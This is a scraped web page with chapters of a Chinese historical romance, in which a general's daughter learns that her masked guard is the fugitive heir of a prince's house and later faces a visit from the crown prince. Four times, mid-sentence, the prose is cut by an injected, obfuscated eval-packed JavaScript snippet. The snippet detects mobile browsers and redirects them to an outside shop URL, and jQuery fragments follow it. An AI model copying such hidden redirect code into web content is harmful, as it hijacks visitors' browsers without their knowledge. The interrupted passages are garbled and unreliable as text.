黎书意虽然对吃的讲究,可是在厨艺上却是一窍不通的,林静仪就不同了,她手艺极好,无论是点心还是菜肴,她都得心应手。 眼见着又可以吃到心心念念的点心了,她朝旁边瞥过去,揶揄道:“我这是沾光了。” 黎长策没应。 林静仪听了只当不懂,她兀自拿碗执勺舀着红豆饮,盛好两碗分别放至婠婠和黎大哥面前以后,接着她又舀了一碗,起身走到时侍卫的身前,“时侍卫也尝尝看。” 垂眼看着递到跟前的凉饮,谢烜赫迟疑了,他对这汤饮并不感兴趣,但到底是林大姑娘的好意,想到自己此刻扮演的身份,便朝座上的少女看去。 黎书意瞧见了,展颜笑道:“尝尝看,我们静仪手艺很好的。” 说毕,她自如地从点心盒里拿起一块龙井茶酥,放在鼻边轻嗅了一下清香,然后递入口中。 正享受地咀嚼着,猛然间听到了咳嗽声,起先是一声,后来是一串。 咳嗽声是时野发出的,黎书意见状笑他:“就算再好喝也不必着急。” 脸上的笑容还未退却,忽见兄长一脸严肃地问林静仪:“这凉饮里都放了什么?” 林静仪正含笑看着婠婠打趣时侍卫,后来发现时侍卫的咳嗽之状有些奇怪,正疑惑间,忽听到黎大哥如此问她,不由愣住了,顿了顿,她急忙回话道:“山药、红豆、糯米、牛乳、花生和清水。” “他不能吃花生!”黎长策面色一变。 林静仪听后也惊了,她连忙起身走到时侍卫面前,慌忙道:“对不起,我不知道……” 谢烜赫朝面前惊慌失措的女子摆手,以前他的饮食都有专人照看着,自然不会出现这样的状况,未曾想,一朝不慎就发生了这样的意外。 咳嗽未有断绝,黎长策见好友面具之外的那部分脸,以及整个脖颈都已经涨红了,忙转头吩咐道:“兰亭快去请府医。” 此时,黎书意正怔怔地坐着,初时听见时野咳嗽她并未当一回事,直到发现兄长反应过度了才郑重起来。 划动停滞许久不动的双目,她的视线在面前咳嗽不止和神情焦急的两人身上流转,脑中蓦地电光一闪,然后“轰”一下炸开了。 “我不是故意的……” 最后,是林静仪歉疚的声音将她丧失的神智给唤了回来,目光挪到林静仪的脸上,见她一脸自责,焦急而又不知所措。 “这非你之过,你并不知道他与花生犯冲。”兄长宽慰道,然后吩咐绿沉扶时野去就近的空厢房休息,紧接着自己也跟着走了。 黎书意的脑子很乱,既模糊又纷繁,定了一定神,她安抚情况没比自己好多少的林静仪:“没事的,他只喝了一两口。” “真的没事吗?”林静仪望着她,眼睛里写满了心有余悸。 黎书意点头,停顿片刻后又补充说:“不如你先回去,你在这里他不好意思见你,明明你是一番好意。” “可……”林静仪犹豫不决,最终到底点了头,走前仍不放心,对她说,“那你记得把他的情况告诉我。” “好。”她应道,然后起身送林静仪离开。 黎书意直将林静仪送到小院门口,看着她的背影彻底消失在路的尽头,然后才猛地转过头,将视线放到了厢房上。 她记得谢烜赫是不能吃花生的。 此时,兰亭已经请来了府医,老人家步履匆忙地进入房间,兰亭则留在了外面,下一刻,绿沉将门给掩上了。 盯着紧闭的房门,她的双眼逐渐失去了焦点,不由想起两年前的事。 弘学馆每年春秋都会举行一次大考,当时兄长入馆已有半年,正在为即将到来的春试做准备,那段时日他一直待在学舍,连家都不曾回。 母亲怜他学业辛苦,怕他吃不好,所以特意准备了瓜果点心,想为他送去。 黎书意觉得母亲想多了,据说弘学馆的伙食很不错,再说了,若兄长吃腻了学馆膳房的饭菜,他还可以外出的,但是她没将这话说出来。 不仅如此,等吃食备全以后,她自告奋勇地表示自己愿意去送,作为一个从出生起就被规定没有资格上学堂的女孩子来说,她天生对弘学馆充满了好奇与渴望。 看着母亲将点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545670|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心、水果、蜜饯和肉脯一一装好,她领着春雪去弘学馆了。 弘学馆位于孟章城南启光门外,那里距离皇宫只有七八里路,虽无数次经过,她却从未进去过。从马车上下来,她拎着食盒站在学馆门口。 馆外矗立着四十六块高丈许,广四尺的石碑,碑上是密密麻麻的文字,用隶书镌刻了官定的儒家经本,在春雪向门房报来意的时候,她便抬头瞻仰着那些石碑。 等门房做好登记,一个小厮领着她们往学舍方向走。初来乍到,一路上主仆二人不停地东张西望。 到了学舍,小厮离开,见春雪还在四处看,知她对弘学馆的好奇不比自己少,于是黎书意便放她自由行动,自己独自进兄长的学舍了。 因学馆里的学子不是出身宗室,便是出身世家,所以即便只是并不常居的学舍,环境也非常之好。 格局上,小厅、书斋、茶室和卧房五脏俱全,陈设上,桌椅、几榻、挂饰、博古架样样古雅精丽。 环顾完,她在榻上落座,等待着兄长归舍,然而等了许久始终不见人来,心头正冒出要不要也去外面转转的想法,忽闻脚步声靠近。 以为是兄长,她直接出声抱怨道:“你可算来了!” 话音刚落,瞥见来人并非兄长,而是谢烜赫。 半年间,由于诸多小矛盾的堆积,她与谢烜赫的关系早已经恶化了,望见彼此,当下双方皆是一愣。 大眼瞪小眼沉默了片刻,最后谢烜赫率先开了口,对她说:“朱博士留你兄长说话,大约还要一会才能回来。” 早等得有些不耐烦了,听闻还要再等,她本欲放下东西就走的,可转念一想,都等了这许久,现在走了多不划算。 怎么说,她也该让兄长看看她这个做妹妹的有多贴心,于是她最终选择继续等。 原以为她与谢烜赫相看两厌,他定会抛下她进自己房间去,结果他却尽地主之谊,陪她坐在小厅里,还吩咐书童给她沏了杯热茶。 只是,由于两人关系不好,他们之间没什么可聊的,空气中弥漫着一种尴尬的气氛。 干坐了片刻,黎书意终于受不了了,便开口找话道:“看兄长备考辛苦,我今日是特意来给他送吃的。” 言毕,她停了一停,心想既然都说到吃的了,那么基于礼节,自己应该要请谢烜赫品尝的,纠结良久,遂出声邀请道:“我家厨子的手艺很好的,你要不要尝尝看?” 说着,她揭开了食盒盖子,露出最上面摆着的那屉花生酥,一股清雅香味随之飘出。 谢烜赫往食盒里瞟了一眼,手并没有动。 见他这般反应,黎书意有些不高兴,没好气地说:“不吃就不吃吧。” 她拿起盖子作势要盖上,然而还未来得急合上,一只手伸了过来,谢烜赫从食盒里拿了一块花生酥,她这才露出笑容。 兄长便是在这个节骨眼上进来的,进屋以后他先扫了一眼他俩,接着目光落到了谢烜赫拿糕点的手上,然后惊呼道:“你不是与花生犯冲吗?” 闻言,黎书意忙看向谢烜赫,回想起刚才他的迟疑,还有自己无意的逼迫,顿时涨红了脸。 “不能吃怎么不早说,搞得我好像是恶人一样。”说罢,她从谢烜赫手上抢过点心,然后硬塞给兄长了。 就这样,黎书意记下了谢烜赫是不能吃花生的。 12. 是他 忆过往事,黎书意的双眼重新聚焦,她神思混沌步履飘然地朝厢房走去。 到了房门口,她停下脚步,怔怔地盯着前方,里面府医说话的声音透过木门断断续续传出来。 她站在一墙之隔的地方,心情五味杂陈,有点渴望靠近,又有点望而却步,做了良久的心理准备,她终于推开了门。 “所幸病症不是太重,食得也不多,以后要避免食用花生,按这药方定时服用,五日便可痊愈。” 府医站在床边,对时野做最后的嘱咐,交代完了,他提起药箱点头向他们告辞。 绿沉也紧随其后拿着药方出去了,房间里只剩下黎书意、黎长策和时野三人。 黎书意刚要发问,黎长策却手一指外面道:“我还有功课,先走了。” 说罢,一溜烟跑了,走前还贴心地关上了房门。 然后屋里便只剩下黎书意和时野。 打开这扇门的那一刻,黎书意就决心要问个清楚,他们的刻意隐瞒令她很不满,这惊人的发现实在让她措手不及。 可此刻,看着躺在床上的少年,她着实难以开口,于是张嘴第一句话便变成了“你还好吗”四个字。 “还好。”回答伴着一声轻咳,但身体状况看起来确实比方才要好多了。 她点了一下头,没有再说其他的话,只定定注视着床上的人,床上的人同样也在看她,两个人就这么无声地对望着。 半晌,床上的人启唇道:“想问什么便问吧。” 尽管经此一遭,这人的真实身份已经近乎透明,但黎书意还是想要一个确却的答案,于是便嗫嚅着问:“你是他,对吗?” “我是。” 回答干脆利落,这简短的两字让她不禁鼻头一酸,顿生哭意。 心情还未平复,在她还未来得及问更多时,床上的人主动对她诉说起来。 “坠崖的不是我,而是王府的死士。” 谢烜赫并未打算一直隐瞒黎书意,他原想着等再过一段时日,待到大家不再对时野这个身份有所怀疑了,他再主动露出破绽,好让少女察觉。 未曾想会发生今日这样的意外,不过既然已经暴露了,那便借此机会坦白吧。 “那夜,我提前得到消息,便赶在官差抓捕之前离开了王府,不过那点时间不够跑太远,他们很快便寻到了我的踪迹,关键时刻是死士扮作我的模样,引着追兵往别处走了。” 所以摔死在崖下的人是死士,回想起那惨烈的死状,她为那不知名的死士感到痛心,可看着面前鲜活的人,她又为之庆幸,“可你怎么会从塞外回来?” “谋反这种重罪最为天家所忌惮,尽管在崖下找到了尸体,也证实了我的身份,但毕竟已经面目全非了,代替这个可能即便只有万分之一的几率,上面也依旧不会掉以轻心,我不能在这久待。得知安士遭楼宛突袭,你的父兄被派出征平乱,我想着那个地方比较好掩人耳目,所以便去那了。” “那时野这个身份……” “正如同你父兄向你解释的那样,时野的确是都护府司马之子,烧伤、丧母、丧父的经历也都是真的。” “那他人现在在何处?” “在与楼宛交战的过程中命丧沙场了。”谢烜赫回答道,稍微停顿了片刻,他径自往下说起来,“我与他身形相似,且他脸上大面积的伤口也适合做伪装,于是他战死后我便借了他的身份,继续跟随黎家军与楼宛作战。” 真相竟然是这样,听完了所有,黎书意觉得既惊险又庆幸,盯着那张泛着冷光的银色面具,她试探着提出请求:“我可以看一下你的脸吗?” “可以。” 得到准许,黎书意迈步朝床边走去,就像是要打开一份珍贵的礼物一样,她带着期待一步步靠近。 待到了近前,她屏气慑息,动作缓慢地伸出手,心突突地跳动。 最后,她揭开了面具。 斜飞英挺的剑眉,眼尾微向上挑的凤目,乌黑深邃的眼眸,以及永远轻抿着的双唇,面前这张棱角分明的脸是谢烜赫无疑。 然而,同记忆里的模样也有着细微的差别,除了比较明显的异族装扮以外,更多是感觉上的变化,他眉宇间凝着一股无形的肃杀之气,锋锐气场更甚从前。 他性格本就少年老成,如今愈发显得成熟睿智了,黎书意并未心生怯意,反而酝酿出深深的怜惜,她知这份成长是由家破人亡和四处流浪淬炼而成的。 她静静地端详面前这张脸,前所未有的认真,后来与黑亮的双眸碰上,才意识到自己的目光太过直白,于是闪电般移开了视线。 接着,耳畔传来一声短促的轻笑,听见笑声,她更尴尬了,他们一向不对盘的,这样和谐的相处属实少见。 面上越发不自在了,她彻底转过身去,抛下一句“你先休息,我走了”,然后便迅速遁了。 回到自己房中,黎书意坐也不是站也不是,心脏一个劲疯狂跳动着,一种难以名状的惊喜包裹着她。 谢烜赫竟真的还活着,没想到这种希望渺茫到如沧海一粟的事情真给她撞上了。 可是没过多久,初时的惊讶和庆幸经过时间的发酵,逐渐酿成紧张和担忧,她的家里如今藏着一个朝廷重犯,一旦被发现,将军府必将受到牵连。 她该让他留在家里吗?黎书意问自己。 “二姑娘,您还好吗?”兰亭伸出手掌在自家二姑娘面前挥了挥,她发现二姑娘自从时野犯咳症之后就表现怪怪的。 “我没事。”忽然,二姑娘猛地站起身,对她道,“我找父亲有事,你不必跟着。” “可大将军还未归家!”她大声告知。 然而她家二姑娘已经跨出房门,见她形色匆匆的,兰亭更疑惑了。 黎书意大步流星地离开小院,因为知道兄长一定会推脱隐瞒,所以她没有找他,而是直接往尚姜院走。 父亲前日曾传信回府,说今天去马场看马,晚间会回来,尽管还有一段时间,可是她还是步履不停地朝前走。 到了院中,黎书意径直步入正厅,然后便坐在桌边安静地等候,她从微霞满天等到夜色笼罩, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545671|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 终于等到父亲回来了。 一踏进房门,黎横天关切地询问起女儿:“听下人说你在这里坐了一个时辰,什么事这么着急?” 黎书意起身迎过去,看了眼跟在父亲身后的沥泉,她未有开口。 黎横天见状,往后一摆手道:“下去吧。” 沥泉点头退下,去时将门合上了。 室内一片安静,与父亲对望片刻,黎书意开门见山问道:“父亲为何骗我?” 听见这话,黎横天神色一凛,话虽说得极其含糊,可他瞬间便意识到女儿指的是什么,沉吟半晌,终是道:“为父是不想让你担心。” 知道父亲这么做是想保护自己,只是这种保护并非她想要的,黎书意说出她的心声:“我是这个家里的一份子,无论什么,我都希望和你们一起面对。” “是为父的错,我女儿那么聪明有主见,我不该瞒着。”黎横天道歉。 看着乞求原谅的男人,黎书意没有再责怪,毕竟今晚她来这并非为了质问,而是有更重要的事要说,整理了一下心情,她一脸严肃道:“父亲,你有想过收留他会对将军府造成多大威胁吗?” “唉……”黎横天皱着眉深深叹了口气,旋即对上女儿的目光说道,“为父自然清楚,可我与长恭是二十多年的老友,王府因污蔑被屠满门,这唯一的遗孤我怎能不看顾。” 这黎书意自是理解的,她为王府的遭遇不公,谢烜赫活着她也很开心,可将他留在屋檐下,未免太过冒险了,便指出道:“照拂有很多种方式,为何偏留在将军府?” “这样不容易被察觉,也方便联络,还可以在我们不在身边时保护你。” 方便联络,黎书意闻言眼皮一跳,察觉到话里的不寻常,遂直视着父亲问:“你们想做什么?” 黎横天目露迟疑,没有马上答话。 “笃笃!”门突然被敲响了,接着传来黎长策的声音:“是我。” “进来吧。” 黎长策应声推门而入,再将门掩上。 黎书意看着兄长一步步走近,待到了跟前,她又将刚才的问题重问他一遍:“你们到底想做什么?” 黎长策抿着唇,一脸正色地凝视着妹妹,沉默良久后他指出道:“小妹,你应当清楚,自从昭王之乱爆发以来,父亲便一直受陛下猜忌,目前将军府的处境十分艰难。” 这黎书意当然清楚,正是因为清楚,眼下才应该与昭王府撇清关系,保全自身,可现在…… 电光火石间,她想到了什么,不由惊骇得变了脸色,压低了声音不可置信道:“你们莫不是想为昭王府平反?” 言毕,她看了看兄长,又看了看父亲,见两人皆是沉默,于是心下便了然了,半晌,她不赞同地开口:“这太冒险了!” 黎长策将眼睛一眯,语速缓慢,口吻认真地说:“猜忌一旦起了,便没那么好消除,在这种事上向来是宁可错杀一千,也不可放过一个,要想彻底摆脱困局,只有证明昭王从未有过叛乱之心。” 黎书意沉默了,她知道这是事实。 13. 使唤 深夜,黎书意躺在床上转侧不安,其煎熬的程度不亚于得知昭王叛乱,谢烜赫在外潜逃的那一晚,唯一不同的是,彼时是惊惧,现在是纠结。 就目前而言,理智的做法应该是让谢烜赫离开,然而情感上她做不到,难道真让谢烜赫留下?可这无疑是搭上了将军府的安危。 她千思万想,却始终抉择不定,烦躁地翻了一个身,耳边响起了兄长说的那番话。 自古以来,因谋反被牵连的臣子何其多,他们轻的被贬谪,重的被株连,相较起来,将军府目前的情况已经算不错了。 然而,这个不错是有时限的,陛下之所以不敢轻动将军府,那是因为目前的西景根本离不开父亲和黎家军。 如今天下三分,虽呈鼎足之势,但无论哪一国的国君皆不甘于固守旧地,他们彼此都怀揣着吞并其他两国,实现三国归一,成为天下霸主的雄心壮志。因此,六十余年间,大小战争接连不断。 二十五年前,先帝与丹霄先帝达成了停战协议,自此,两国虽间有小摩擦,却无大规模战争。 丹霄如今的皇帝名叫百里晏河,乃是一位女帝,她聪颖睿智,性格宽厚仁德,施政清明。 近年来,丹霄秉持着只抵抗不主动进攻的原则,一心致力于本国发展,颇有置身事外、作壁上观之态。 而白榆则不同,白榆皇帝王宗训生性好战,野心勃勃,他时常派遣军队骚扰侵犯西景边境,妄图夺取那几座极具战略意义的重要城池。 正因如此,两国之间时有战争爆发,双方你来我往,争斗不断,陷入了一种循环往复的战争状态,致使边境之地时常笼罩在战火的阴霾之下。 总之,西景目前腹背受敌,明处波谲云诡,暗处潮流涌动,危机重重,随时可能掀起狂风暴雨,需要父亲和黎家军护航。 可一旦战争平息,或是新的武将崛起,那将军府就危险了。 景帝生性多疑,又刻薄寡恩,五年前文宣王密谋造反,朝廷派兵镇压之后文宣王一家被押入皇城,接着便是牵连百人的大清洗,前礼部侍郎只因在搜查文宣王书房时找到了与之探讨诗文的书信,竟也被问罪,最终惨遭贬谪,至今仍在玄驹一小县任县丞。 况且,父亲手握兵权,本就被忌惮,思来想去,黎书意发现除了证明己身以外,他们根本别无选择。 她从没想过自己会有和谢烜赫联手的一天。 想到那个人,她就不由想到他本光芒万丈,如今却跌落尘埃,为了生存,甚至不惜伪装成一名侍卫。 起初,她为他的遭遇而心生怜悯,可当她回顾了这近一月的相处后,所有情感最终都被羞耻给取代了。 三番五次的试探,两度不打招呼揭人面具,对着镜子自夸被撞见便问他自己好不好看……一幕幕尴尬的场面如潮水涌上脑海。 脸因为羞耻而迅速发烫,她抬手扶额,懊恼自己这段时日都当着他的面做了些什么,那些时候谢烜赫一定在心里嘲笑她吧。 这一夜,她的思绪就像一颗正在生长的大树,先从树干延伸到枝条,再延伸到细枝末节上,越想越多,难以入眠。 翌晨,她不可避免地起迟了,等到日上三竿了,才顶着两个黑眼圈下床,因为精神萎靡,这一个早上她什么都没有做。 用过了午膳,她方才摇头甩开纷繁的思绪,进书房去了,最近为了陪林静仪散心,她有段时日没看书写作了。 中伏天天气越渐炎热,午正的太阳烘得人难受,无奈之下她只得让兰亭拿了把团扇站在旁边为她扇风。 本就睡眠不足,又碰上暑气蒸人,诗作没看进去几首,哈欠倒是一个连着一个。 正看着,又一个哈欠来袭,她抬手捂嘴,刚打到一半,忽见谢烜赫出现在门口,她不由身体一顿,半晌方才开口问道:“你怎么就来了?” “已经无碍了。”谢烜赫说着跨步进屋里来,然后再靠墙站好。 黎书意狐疑地盯着他,心想他这莫不是还打算像前些日子一样侍奉她左右?她还以为坦白身份后他不会再干了呢。 做她的贴身侍卫,除了外出时能有用武之地,其实平时根本没多少事,是以,有时候若其他人在忙,有些活她便会差遣他来做。 如今得知了他的真实身份,她忽然不敢命令了,让昭王世子给她做苦力,她怕折寿。 收回目光,她想着站就站吧,毕竟用着这个身份,明面上得过得去。 可眼睛还未落定到文字上,她心念忽地一转,想着谢烜赫如今是她的侍卫,命令他是应该的,再说,她早就驱使了一个多月不是。 思及此,她唇角轻勾,露出一抹窃笑,最近让这人看了那么多笑话,她怎么也得讨回来。 虽然他的身份他们彼此心知肚明,但是在外人面前,他还是时野,是她的侍卫,她料想即便自己要求了,只要不太过分,他应该不会轻易反抗的。 打定主意后,她轻咳一声,然后道:“我有些口渴,想喝茶。” 话落,见兰亭将扇子搁到案上,准备去沏茶。 黎书意制止了她,拿起扇子朝墙边的人一指,命令道:“你去。” 说这话时她直视着谢烜赫,等着看他的反应,只见谢烜赫望了她一眼,然后听话地去倒茶了。 居然真的使动了?黎书意得逞地笑了,接着将扇子递给兰亭,示意她继续扇风。 不多时,谢烜赫沏好茶回来,将茶盏放到她手边。 黎书意心思根本没在书本上,见茶泡好了便急忙抬起来,她先动作缓慢地呷了一口,然后蹙眉道:“我想喝顾渚紫笋。” 说着她搁下茶盏,同时趁机偷瞟谢烜赫一眼,老实说做这事她多少有点心虚。 谢烜赫看着书案里侧的人,从她绕过兰亭叫自己泡茶,他就瞧出她这是在故意刁难自己,此时见她双眼游离,声音明显底气不足,不由在心底轻笑,其实她完全可以再理直气壮点。 笑过之后他配合道:“二姑娘等着,我这就为您去泡。” 兰亭正站在案边有一下没一下地摇扇子,看着拿起茶盏出门的时侍卫,她的眉头慢慢攒起,她家二姑娘这分明是在刁难人呢,莫非时侍卫得罪她了,实在忍不住,便开口问道:“二姑娘……” 奈何话头才刚起,闻二姑娘道:“你别管。” 兰亭只好住嘴,看着二姑娘脸上得逞的笑意,她当真一头雾水。 坐在房里静候了一会,谢烜赫端着新泡的茶水进来了,他把茶盏轻轻往书案上一放,然后垂手站在一旁。 茶盏白烟浮动,茶香四溢,黎书意仅喝了一小口,却拿腔拿调地点评道:“火候不够,太涩,重泡。” 许是因为两次驱使谢烜赫均未遇到反抗,她的胆子越发大起来。命令完,她等着看谢烜赫反应,料想这回他铁定得生气了。 然而还是没有,只见谢烜赫面目沉静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545672|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地说:“好,我重泡。” 说罢,他手伸过来,打算抬茶盏。 见此情景,黎书意气不打一处来,都这样了他竟还不发作,将手按在茶盏上,她发狠招道:“我突然有点想吃怡口香的点心,你去给我买。” 她就不信这下他还能忍。 “是。”哪知谢烜赫头一点,说完转身走了。 黎书意简直目瞪口呆了,望着走远了的颀长背影,她气恼地朝地上狠跺了一脚,明明他都照她要求的做了,她却无半分报复的快感。 “二姑娘,您从不为难人,今天这怎么了?”身后,兰亭忍耐良久,终是止不住开口问道。 “他惹我了!”二姑娘愤愤然回了一句。 有吗?兰亭一头问号,怎么她不知道,尽管好奇,她不敢问。 原是刻意为难,想让谢烜赫吃瘪的,结果对方并不接招,这让黎书意心里格外不舒坦,面前的书是彻底看不进去了,她起身打算去院里随处走走,顺便等着她的点心。 当午日明,天上一碧千里,池中波光潋滟,四周花木绽红泄绿,院子里一派欣荣之景。 正站在廊下远望,见侍女抱着一捆麦草走入视野,最近事多,自知墨团身体无碍之后,她便未分出心神照管它。 想着现在无事可做,不如去看看它,于是便朝侍女走去,到了跟前她伸出手道:“把草给我吧,我去喂它。” 侍女点头,将手上干草递给她。 接了麦草,黎书意缓步来到兔舍跟前,因这里日日都有人打扫,所以十分干净,并无明显异味。 她蹲下身,伸手打开小铁门,不知兔子是因为见到了主人,还是因为嗅到了麦草的香气,门才刚打开,便迫不及待地蹦出来了。 茂密蓬松的银灰色皮毛,浑圆如球的身体,再配上那一蹦一跳的步伐,面前的兔子果真如宣纸上晕开的墨团一样,黎书意不禁被它的模样可爱到。 含笑抽出两根干麦草,她将其凑到灰兔嘴边,口中轻哄道:“馋嘴兔,吃饭了。” 墨团见了麦草,自如地张开嘴,然后含起草尖一点点吃了起来,随着它的三半嘴一动一动的,手上的麦草慢慢变短了。 喂了一会,黎书意忽记起这兔子是从谢烜赫那里得来的,又想到刚才自己捉弄失败了,她心头的那股郁气便升了上来。 “欺骗人是不是很好玩?” “看我笑话是不是很好玩?” 她开始对着兔子指桑骂槐。 兰亭侍立在旁,想起前几日二姑娘因兔子误食耗子药而伤心,如今见兔子重新生龙活虎了,应当可以彻底放心了。 心头正庆幸,冷不丁听见这两句话,眉头不自觉拧起,不解其意。苦思冥想间,又闻二姑娘道:“还活着,真好。” 这话她总算是听懂了,大约是因为牵挂太深,所以心里不忿吧,这么想着她眉头舒展开来。 和墨团相处了约莫一刻钟,黎书意离开兔窝,回到房间,兰亭端水给她洗手。 洗了手,用帕子擦干净水珠,她又往外走去,想看看那买点心的人可回来了。 刚走到书房门口,就看见谢烜赫从院门走进来,他手里提着一个红木食盒,看起来似乎买了不少呢。 见状,她心里那股气顿时又升起来,等人走近了,她愤愤道:“你和我进来,有话和你说!” 话落,“哗”一下推开书房门走进屋内。 14. 太子 谢烜赫跟着进了房间,然后将门给掩上了。 黎书意“唰”一下转身,看着面前的人单刀直入地问:“我这般驱使你,你怎么都不生气?” “或许我本就愿意呢。”少年唇角微扬。 哈?她眉头轻攒,简直不敢相信自己的耳朵,这人莫不是疯了,因为实在无言以对,她直接动手把谢烜赫手里的点心盒抢了过来。 这时,耳边又传来一声轻笑。 黎书意当下就明白了,他这分明就是故意的,因为知道她在耍他,不想遂她的意,所以才半点不生气。 算了,是她棋差一招,想通以后她不在这上边纠结。 捉弄不成,她本想将人赶出去,然而眼睛一抬,却又有了新的关注点,面前的人一副胡人装扮,与谢烜赫相去甚远,她对他的乔装产生了极大的兴趣。 她走到他跟前,眼睛落到那一头深棕色两鬓编有辫子的头发上,她知道用黑豆和陈醋可以将头发染黑,然而深棕色如何染的她却是不知道的,便不确定地开了口:“你这头发是染的吗?” “从一本书上看到的偏方。”谢烜赫回说。 原来如此,她点点头,目光接着移到了耳朵上,只见那圆润的耳垂上坠有指甲盖般大小雕刻兽纹的银饰,于是问:“耳洞是真的吗?” “真的。”谢烜赫坦率告知。 “扑哧!”黎书意听后笑出声来,随后忍不住揶揄道,“我们堂堂的昭王世子居然穿耳洞欸,可真难得。” 笑完,她忽然又注意到谢烜赫说话的声音,现在他和她说话用的是他原本的声音。 “你的声音……” “我学过伪音。” 伪音,她曾在杂书上看到过,一直以为是江湖传闻,不曾想竟然真的可行。 “那伤疤呢?”黎书意说着指了指自己的额头,相比起前三个,这个才是她最好奇的。 她很想知道那到底是怎么完成的,可是她再不好意思上手了。 谢烜赫在她的注视下脱下面具,面具下的容颜俊美无俦,皮肤细腻无瑕。 “用动物表皮加树脂再以密法高温熬制可做出与人皮相似的皮肤。” 还可以这样?黎书意不明觉厉。末了叹一句:“你怎么知道这么多稀奇古怪的偏方?” “少时曾碰见一云游的江湖高人,他当时年事已高,希望有人能传承衣钵,便将毕生所学写的宝典交给我。” 哦……原来是深藏不露啊,难怪她多番试探都未试出来。 想问的话都问过了,她将谢烜赫整个人从上至下扫了一遍,刚才心思全在好奇上,待听完了,待比对过了,感觉又全变了,是以她敛了笑容,变得沉默了。 这变装不仅过程繁琐,还伤及发肤,丢弃了从前的身份,从谢烜赫变成了时野,这不仅仅是外貌的更改。 怔愣间,耳边飘来一句话:“看够了吗?” “啊?”黎书意顺口而问,随即后知后觉发现自己盯着他看了许久,不禁脸上隐隐发热。 为缓解尴尬,她飞快转身,走回到书案边,然后下逐客令道:“行,我的疑问已经解答了,现在你可以走了,我要开始看书了。” “行,那你慢慢看,点心记得吃。” 听见这话,黎书意瞥了一眼站在厅中的少年,他这话分明是在提醒她自己出门买东西的辛苦,便没好气地回道:“知道啦。” 少年在她的注视下戴好面具,然后转身开门出了房间。 看着门合上后,黎书意的目光落到食盒上,她笑着揭开盒盖,从盒里拿起一块糕点吃了起来,玫瑰饼外皮酥脆,内馅甜美,吃完她拿帕子擦干净手。 将盖在桌案上的诗集翻过来,黎书意续看起来,只是还未品完一首,外头便传来两道轻扣门扉的声音。 她抬头,见兰亭推门入屋,脸上犹犹豫豫的,似乎有事却不敢说,于是主动问说:“发生何事了?” “二姑娘,前院通传说太子殿下来了。” 未曾想会听见这个,黎书意眸中闪过一抹惊诧,旋即恢复沉静,他这是已经从元贵回来了吗? 兰亭站在房门内侧,身为贴身侍女,二姑娘与太子殿下之间的事她最清楚不过,知二姑娘早被折磨到心如死灰,已经放弃这段感情了。 只是,如今太子殿下都到家里来了,因着他身份尊贵,没人敢拦,终是试探着问道:“二姑娘要见吗?” 要见吗?都一个多月没见了,今天这一面也没必要见。 “跟他说我不在。”没怎么犹豫,黎书意脱口而出,接着又埋下头。 啊?闻言,兰亭愣住,半晌她认命地退出房间。 一踏出房门,她便灰心丧气地耷拉着肩膀,说不在这话一听便知是托词,太子殿下岂会相信,然而她不得不去传达。 一路绕墙穿路,兰亭来到前厅,做足了心理准备,她抬脚进屋。 厅中,太子殿下正在喝茶,见她来了便将杯子放下,俊眼悠悠往旁边一扫,然后回看着她问道:“你家二姑娘呢?” 听见问话,兰亭硬着头皮撒谎:“我家二姑娘出门了。” “出门?”太子殿下目光灼灼地盯着她,“你觉得孤会信吗?” 一面是二姑娘,一面是太子殿下,这两个哪一个她都得罪不起,最后兰亭索性闭嘴不答了。 这时,又闻太子殿下道:“你去告诉她,今天不见到她孤是不会走的。” 她就是一小丫鬟,在太子面前哪有拒绝的余地,于是便只好离开前厅。 回到载驰院,她带着薄喘进入小书房,传话道:“二姑娘,太子殿下说今天不见到你他是不会走的。” 兴致早就被破坏了,这书黎书意压根没看进去,听见这话她“啪”一声将书合上。 来来回回就那么一件事,她是真的倦了,忖度片刻,想着最后总归是要见的,不如现在就把话说清楚,于是便抬眸道:“叫他过来吧。” “好。”兰亭领了命,转身小跑着去请人了。 黎书意望着门口出神,相识四余载,定情两载,未曾想会以如此难堪的方式结束。 “婠婠。”怔愣间,急切的声音从廊外传了进来。 接着,一个身着玄色暗纹锦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 